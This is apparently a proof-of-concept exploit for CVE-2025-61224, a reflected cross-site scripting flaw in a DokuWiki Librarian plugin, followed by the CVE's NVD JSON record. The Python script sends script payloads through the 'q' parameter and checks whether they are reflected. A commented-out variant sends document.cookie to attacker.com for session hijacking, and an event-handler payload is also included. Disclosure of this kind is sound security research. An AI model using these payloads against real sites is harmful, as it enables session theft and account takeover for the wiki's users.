CVE-2025-61224

# CVE-2025-61224 - DokuWiki Librarian Plugin XSS PoC # Vulnerability: Reflected XSS via 'q' parameter in Librarian plugin search functionality # Affected: DokuWiki 2025-05-14a 'Librarian'[56.1] import requests import sys TARGET_URL = "http://target-dokuwiki-site.com/lib/exe/librarian.php" def exploit_xss(target_url, payload): """ Exploit reflected XSS vulnerability in DokuWiki Librarian plugin via the 'q' (query) parameter. """ params = { "q": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) # Check if the payload is reflected in the response without sanitization if payload in response.text: print(f"[+] XSS payload reflected successfully!") print(f"[+] Full URL: {response.url}") return True else: print("[-] Payload not found in response (may be sanitized)") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Basic XSS payload - cookie stealing demonstration xss_payload = '<script>alert(document.cookie)</script>' # Advanced payload for session hijacking # xss_payload = '<script>fetch("http://attacker.com/steal?c="+document.cookie)</script>' # Event-based payload (alternative vector) # xss_payload = '" onmouseover="alert(document.cookie)" x="' print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Payload: {xss_payload}") exploit_xss(TARGET_URL, xss_payload)

{"cve": {"id": "CVE-2025-61224", "sourceIdentifier": "[email protected]", "published": "2025-10-06T16:15:34.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in DokuWiki 2025-05-14a 'Librarian'[56.1] allows a remote attacker to execute arbitrary code via the q parameter"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2025-61224", "source": "[email protected]"}, {"url": "https://github.com/dokuwiki/dokuwiki/issues/4512", "source": "[email protected]"}]}}